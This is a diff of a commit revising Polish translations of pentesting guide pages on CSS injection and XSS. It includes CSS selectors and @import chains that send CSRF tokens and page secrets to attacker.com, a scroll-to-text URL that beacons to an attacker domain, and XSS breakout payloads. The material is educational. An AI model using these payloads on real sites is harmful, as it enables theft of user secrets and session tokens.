Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + niepotrzebne znaki **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością niepotrzebnych znaków do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest to dozwolone:
#### Scroll-to-text-fragment
Jednak musisz **sprawić, by bot uzyskał dostęp do strony** z czymś takim jak
Jednak musisz **sprawić, aby bot uzyskał dostęp do strony** z czymś takim jak
```
#:~:text=SECR
```
@ -868,7 +868,7 @@ Strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/p
Gdzie post.html zawiera niechciane znaki atakującego i obrazek ładowany leniwie, a następnie dodawany jest sekret bota.
Tekst ten spowoduje, że bot uzyska dostęp do wszelkiego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst to sekret i jest **tuż poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Tekst ten spowoduje, że bot uzyska dostęp do wszelkiego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst jest sekretem i znajduje się **tuż poniżej obrazu**, **obraz załaduje się tylko wtedy, gdy odgadnięty sekret jest poprawny**. Tak więc masz swoje oracle do **ekstrahowania sekretu znak po znaku**.
Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

View File

@ -4,9 +4,9 @@
## CSS Injection
### Selekcja atrybutów
### Selector atrybutu
Selektory CSS są tworzone w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut wartości elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
Selektory CSS są tworzone w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -31,18 +31,18 @@ background-image: url(https://attacker.com/exfil/csrF);
```
Praktyczny przykład wykorzystania tej techniki jest szczegółowo opisany w dostarczonym fragmencie kodu. Możesz go zobaczyć [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Wymagania wstępne dla CSS Injection
#### Wymagania wstępne dla wstrzykiwania CSS
Aby technika CSS Injection była skuteczna, muszą być spełnione określone warunki:
Aby technika wstrzykiwania CSS była skuteczna, muszą być spełnione określone warunki:
1. **Długość ładunku**: Wektor wstrzyknięcia CSS musi obsługiwać wystarczająco długie ładunki, aby pomieścić skonstruowane selektory.
2. **Ponowna ocena CSS**: Powinieneś mieć możliwość osadzenia strony, co jest niezbędne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.
3. **Zasoby zewnętrzne**: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez Politykę Bezpieczeństwa Treści (CSP) witryny.
1. **Długość ładunku**: Wektor wstrzykiwania CSS musi wspierać wystarczająco długie ładunki, aby pomieścić skonstruowane selektory.
2. **Ponowna ocena CSS**: Powinieneś mieć możliwość osadzenia strony, co jest konieczne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.
3. **Zasoby zewnętrzne**: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez Politykę Bezpieczeństwa Treści (CSP) strony.
### Ślepy selektor atrybutów
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu identyfikacji treści nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się w stronie ładującej wstrzyknięcie CSS.\
Możliwe jest również użycie tych selektorów do wyodrębnienia informacji z kilku bloków tego samego typu, jak w:
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`**, aby zidentyfikować treści nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie ładującej wstrzykiwanie CSS.\
Możliwe jest również użycie tych selektorów do wydobywania informacji z kilku bloków tego samego typu, jak w:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -62,21 +62,21 @@ Jednak istnieje inna sprytna technika, która wykorzystuje **CSS `@import`**, ab
Zostało to po raz pierwszy pokazane przez [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w ten sposób:
Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej), zamierzamy **załadować stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania do ofiary):
Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej), zamierzamy **załadować stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania ofierze):
```css
@import url("//attacker.com:5001/start?");
```
1. Import będzie **otrzymywał jakiś skrypt CSS** od atakujących, a **przeglądarka go załaduje**.
2. Pierwsza część skryptu CSS, którą wyśle atakujący, to **kolejny `@import` do serwera atakujących.**
1. Serwer atakujących nie odpowie jeszcze na to żądanie, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import ładunkiem, aby wycieknąć następne.
2. Pierwsza część skryptu CSS, którą wyśle atakujący, to **kolejny `@import` do serwera atakującego.**
1. Serwer atakującego nie odpowie jeszcze na to żądanie, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import ładunkiem, aby wycieknąć następne.
3. Druga i większa część ładunku będzie **ładunkiem wycieku selektora atrybutu.**
1. To wyśle do serwera atakujących **pierwszy znak sekretu i ostatni.**
4. Gdy serwer atakujących otrzyma **pierwszy i ostatni znak sekretu**, **odpowie na import żądany w kroku 2.**
1. To wyśle do serwera atakującego **pierwszy znak sekretu i ostatni.**
4. Gdy serwer atakującego otrzyma **pierwszy i ostatni znak sekretu**, **odpowie na import żądany w kroku 2.**
1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak sekretu, a następnie przedostatni.**
Atakujący **będzie powtarzał tę pętlę, aż uda mu się całkowicie wycieknąć sekret.**
Możesz znaleźć oryginalny [**kod Pepe Vili do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub możesz znaleźć prawie [**ten sam kod, ale skomentowany tutaj**.](./#css-injection)
Możesz znaleźć oryginalny [**kod Pepe Vili do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub możesz znaleźć prawie [**ten sam kod, ale skomentowany tutaj**.](#css-injection)
> [!NOTE]
> Skrypt będzie próbował odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na robienie rzeczy takich jak:
@ -147,14 +147,14 @@ font-family: "poc";
2. **Element Object z tekstem zapasowym**:
- Element `<object>` z `id="poc0"` jest tworzony w sekcji `<body>`. Element ten próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
- `font-family` dla tego elementu jest ustawione na `'poc'`, zgodnie z definicją w sekcji `<style>`.
- Jeśli zasób (`favicon.ico`) nie załaduje się, zawartość zapasowa (litera 'A') wewnątrz tagu `<object>` jest wyświetlana.
- Zawartość zapasowa ('A') będzie renderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie może zostać załadowany.
- Jeśli zasób (`favicon.ico`) nie uda się załadować, zawartość zapasowa (litera 'A') wewnątrz tagu `<object>` jest wyświetlana.
- Zawartość zapasowa ('A') będzie renderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie może być załadowany.
### Stylizacja fragmentu tekstu przewijanego
Pseudo-klasa **`:target`** jest używana do wybierania elementu, który jest celem fragmentu **URL**, jak określono w [specyfikacji CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, aby zrozumieć, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.
Pseudo-klasa **`:target`** jest używana do wybierania elementu, który jest celowany przez **fragment URL**, jak określono w [specyfikacji CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, aby zrozumieć, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.
Pojawia się problem bezpieczeństwa, gdy napastnicy wykorzystują funkcję **Scroll-to-text** fragmentu, co pozwala im potwierdzić obecność konkretnego tekstu na stronie internetowej, ładując zasób z ich serwera poprzez wstrzyknięcie HTML. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
Pojawia się problem bezpieczeństwa, gdy napastnicy wykorzystują funkcję **Scroll-to-text** fragment, co pozwala im potwierdzić obecność konkretnego tekstu na stronie internetowej, ładując zasób z ich serwera poprzez wstrzyknięcie HTML. Metoda polega na wstrzyknięciu reguły CSS, takiej jak ta:
```css
:target::before {
content: url(target.png);
@ -164,19 +164,19 @@ W takich scenariuszach, jeśli tekst "Administrator" jest obecny na stronie, zas
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Atak ten manipuluje wstrzykiwaniem HTML, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób jest ładowany, nieumyślnie sygnalizując swoją obecność atakującemu.
Tutaj atak manipuluje wstrzyknięciem HTML, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób jest ładowany, nieumyślnie sygnalizując swoją obecność atakującemu.
Aby zminimalizować ryzyko, należy zwrócić uwagę na następujące punkty:
1. **Ograniczone dopasowanie STTF**: Fragment Scroll-to-text (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do wycieków dowolnych sekretów lub tokenów.
2. **Ograniczenie do kontekstów przeglądania na najwyższym poziomie**: STTF działa wyłącznie w kontekstach przeglądania na najwyższym poziomie i nie funkcjonuje w ramach iframe, co sprawia, że wszelkie próby wykorzystania są bardziej zauważalne dla użytkownika.
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Wymóg ten znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigację inicjowaną przez użytkownika. Wymóg ten znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
Świadomość tych mechanizmów i potencjalnych luk jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami eksploatacyjnymi.
Aby uzyskać więcej informacji, sprawdź oryginalny raport: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Możesz sprawdzić [**eksploitację wykorzystującą tę technikę dla CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Możesz sprawdzić [**eksploitujący tę technikę dla CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
@ -206,13 +206,13 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
Kiedy uzyskujesz dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstowy sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". Oznacza to, że udało nam się odczytać "A" i "B".
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Ekstrakcja węzła tekstowego (I): ligatury <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referencja:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Opisana technika polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
Technika opisana polega na ekstrakcji tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
1. **Tworzenie niestandardowych czcionek**:
@ -240,14 +240,14 @@ background: url(http://attacker.com/?leak);
3. **Proces eksploatacji**:
- **Krok 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest duży glif (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, włączając wykrytą parę i dodając znak poprzedzający lub następujący.
- **Krok 4**: Wykrywanie ligatury trzech znaków jest przeprowadzane.
- **Krok 4**: Wykonywana jest detekcja ligatury trzech znaków.
- **Krok 5**: Proces powtarza się, stopniowo ujawniając cały tekst.
4. **Optymalizacja**:
- Obecna metoda inicjalizacji za pomocą `<meta refresh=...` nie jest optymalna.
- Bardziej efektywne podejście mogłoby polegać na sztuczce CSS `@import`, co zwiększyłoby wydajność eksploatacji.
- Bardziej efektywne podejście mogłoby obejmować sztuczkę CSS `@import`, poprawiając wydajność eksploatu.
### Ekstrakcja węzła tekstowego (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagającej zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -258,7 +258,7 @@ Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit
Koncepcja opiera się na wykorzystaniu animacji do stopniowego rozszerzania szerokości `div`, pozwalając jednemu znakowi na przejście z części 'sufiksowej' tekstu do części 'prefiksowej'. Proces ten skutecznie dzieli tekst na dwie sekcje:
1. **Prefiks**: Początkowa linia.
2. **Sufiks**: Kolejna linia(y).
2. **Sufiks**: Kolejna linia(e).
Etapy przejścia znaków będą wyglądać następująco:
@ -273,15 +273,15 @@ B
**CADB**
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range**, aby zidentyfikować każdy nowy znak, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range** do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Chociaż ta metoda pozwala na wykrywanie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.
Chociaż ta metoda pozwala na wykrycie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.
> [!NOTE]
> Zasadniczo, **unicode-range jest używane do wykrywania znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób.\
> Kiedy **znak** jest **znaleziony**, otrzymuje **wstępnie zainstalowaną czcionkę Comic Sans**, która **powiększa** znak i **wywołuje pasek przewijania**, który **ujawnia znaleziony znak**.
> Gdy **znak** jest **znaleziony**, otrzymuje **wstępnie zainstalowaną czcionkę Comic Sans**, która **powiększa** znak i **wywołuje pasek przewijania**, który **ujawnia znaleziony znak**.
Sprawdź kod wyodrębniony z PoC:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -710,13 +710,13 @@ background: blue var(--leak);
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** jak przycisk, aby nie został naciśnięty przez bota lub obraz, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** jak przycisk, który nie ma być naciśnięty przez bota lub obraz, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania pamięci podręcznej (nie wymagające zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
W tym przypadku moglibyśmy spróbować wyciekować, czy znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego źródła:
W tym przypadku moglibyśmy spróbować wyciekować, czy znak jest w tekście, ładując fałszywą czcionkę z tego samego źródła:
```css
@font-face {
font-family: "A1";
@ -726,7 +726,7 @@ unicode-range: U+0041;
```
Jeśli występuje dopasowanie, **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się pomyślnie, **przeglądarka powinna ją zbuforować**, a nawet jeśli nie ma bufora, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
Jednakże, jeśli różnica czasowa między zbuforowaną odpowiedzią a niezbuforowaną nie jest wystarczająco duża, nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
Jednakże, jeśli różnica czasowa między odpowiedzią z bufora a odpowiedzią bez bufora nie jest wystarczająco duża, nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania setek lokalnych "czcionek" (nie wymagających zasobów zewnętrznych) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -747,7 +747,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli czcionka się zgadza, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność w sieci. W rezultacie zajmie to więcej czasu, aby spełnić warunek zatrzymania i otrzymać odpowiedź. Dlatego czas odpowiedzi może być użyty jako wskaźnik do określenia, czy czcionka się zgadza.
Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli czcionka się zgadza, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność w sieci. W rezultacie zajmie to więcej czasu, aby spełnić warunek zatrzymania i otrzymać odpowiedź. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do określenia, czy czcionka się zgadza.
## References

View File

@ -12,12 +12,12 @@
3. Czy możesz obejść zabezpieczenia?
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Wewnątrz **tagu HTML**:
2. W **tagu HTML**:
1. Czy możesz wyjść do kontekstu surowego HTML?
2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS?
3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
4. Czy możesz obejść zabezpieczenia?
3. Wewnątrz **kodu JavaScript**:
3. W **kodzie JavaScript**:
1. Czy możesz uciec z tagu `<script>`?
2. Czy możesz uciec ze stringu i wykonać inny kod JS?
3. Czy twoje dane wejściowe są w szablonowych literałach \`\`?
@ -47,10 +47,10 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
### Surowy HTML
Jeśli twoje dane wejściowe są **odzwierciedlane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
Jeśli twoje dane wejściowe są **odzwierciedlane w surowym HTML** na stronie, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
### Wewnątrz atrybutu tagu HTML
### W atrybucie tagów HTML
Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu tagu, możesz spróbować:
@ -59,7 +59,7 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), wówczas w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
Dziwny przykład Angular wykonującego XSS, jeśli kontrolujesz nazwę klasy:
Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -67,14 +67,14 @@ Dziwny przykład Angular wykonującego XSS, jeśli kontrolujesz nazwę klasy:
```
### Wewnątrz kodu JavaScript
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając **`javascript:`** protokołu:
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
- Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
- Jeśli jest odzwierciedlany **wewnątrz łańcucha JS** i ostatni trik nie działa, musisz **wyjść** z łańcucha, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
- Jeśli jest odzwierciedlany **wewnątrz łańcucha JS** i ostatni trik nie działa, musisz **wyjść** z łańcucha, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- Jeśli jest odzwierciedlany wewnątrz szablonów dosłownych, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
```javascript
alert(1)
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby można było wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala na wykorzystanie scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
**Sprawdź następującą stronę po więcej informacji:**
{{#ref}}
@ -98,9 +98,9 @@ Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użyt
![](<../../images/image (711).png>)
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert** wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
![](<../../images/image (747).png>)
@ -114,7 +114,7 @@ parentElement
```
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji.
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## Kodowanie omijające WAF obrazu
## Ominięcie WAF kodując obraz
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Wstrzykiwanie wewnątrz surowego HTML
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
Gdy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
